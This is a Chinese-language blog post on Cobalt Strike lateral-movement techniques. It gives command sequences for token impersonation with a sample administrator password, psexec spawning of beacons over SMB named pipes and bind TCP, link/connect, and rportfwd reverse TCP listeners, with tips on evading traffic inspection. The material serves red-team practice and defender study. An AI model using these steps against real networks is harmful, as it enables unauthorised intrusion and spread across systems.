cobaltstrike在横向移动中的上线技巧

cobaltstrike psexec

在进行pexecz之前一般需要用rev2vself回到原来的回话和克隆token

  • rev2self: Revert to your original access token
  • make_token: Clone the current access token and set it up to pass the specified username
    and password when you interact with network resources. This command does not
    validate the credentials you provide and it has no effect on local actions.
  • psexec: Spawn a session on a remote host. This command generates an executable, copies it to the target, creates a service to run it, and cleans up after itself. You must specify which share (e.g., ADMIN$ or C$) to copy the file to.
    1
    2
    3
    rev2self
    make_token administrator aaa123!@#
    psexec 192.168.20.30 ADMIN$ smb-bind-pipe
    smb-bind-pipe是建立的smb监听器的名字,创建smb监听器的时候会要求输入端口,不知道意义何在,随便填一个就好。

用这种方法上线的权限是系统权限
Alt text

ps:后来看cs输出,填的端口号会是命名管道的一部分,这样好处就是可以在一个机器上开多个管道吧
Alt text

cobaltstrike smb pipe

其实上面psexec指定的是smb-bind-pipe listener,那么psexec成功后通信方式就是基于smb。使用smb的好处可以一定程度上规避流量审查。另外一种使用smb办法就是生成windows executes,在目标机器上运行然后link,这种方法拿到的就是,运行这个exe用户的权限而不是system权限。

Use: link [ip address]
Link to the Beacon at the specified IP address.

Alt text

ps:在使用unlink的时候smb pipe都会断掉,但是smb pipe的进程并不会退出,link两次后通过psexec和运行exe的shell都会恢复

cobaltstrike bind tcp

建立listener后和smb一样,可以用psexec

1
2
3
rev2self
make_token administrator aaa123!@#
psexec 192.168.20.30 ADMIN$ bind-tcp

也可以生成exe,然后使用connect连接

1
connect 192.168.20.30

需要说明的是创建监听器的时候填写的端口并没有什么用
Alt text
实际监听的时候还是监听的4444端口
Alt text

加上smb,和tcp,拓扑图如下,蓝色是tcp,黄色是smb
Alt text

ps:smb和tcp的相同点在于,unlink会同时断掉tcp和smb会话,不同点在于smb可以通过link连接回来,但是connect无法连接回来tcp,原因在于unlink后smb类型进程还是存在,但是tcp的unlink后进程会退出。

cobaltstrike reverse tcp

cs3.13之后新更新的一个listener,相当nice的一点是Linux跳板机上也支持这种操作,不过在创建listener的时候并不会出现。
Alt text

找到它需要在
Alt text

Alt text

命令行如下

1
2
3
4
5
6
7
8
rportfwd 23333 windows/beacon_reverse_tcp

Use: rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

Binds the specified port on the target host. When a connection comes in,
Cobalt Strike will make a connection to the forwarded host/port and use Beacon
to relay traffic between the two connections.

比较“奇怪“的是,这个监听器不能在psexec的执行,只能在生成stageless的时候找到
Alt text

上线可以看到反向的绿色线,这种方法有个弊端,因为监听的端口往往不是默认放行的端口,所以要求边界机器要关闭防火墙。。。
Alt text

ps:reverse同样受到unlink的影响

参考

Cobalt Strike几种不那么常见的上线方式小记

Author

李三(cl0und)

Posted on

2019-11-22

Updated on

2024-10-05

Licensed under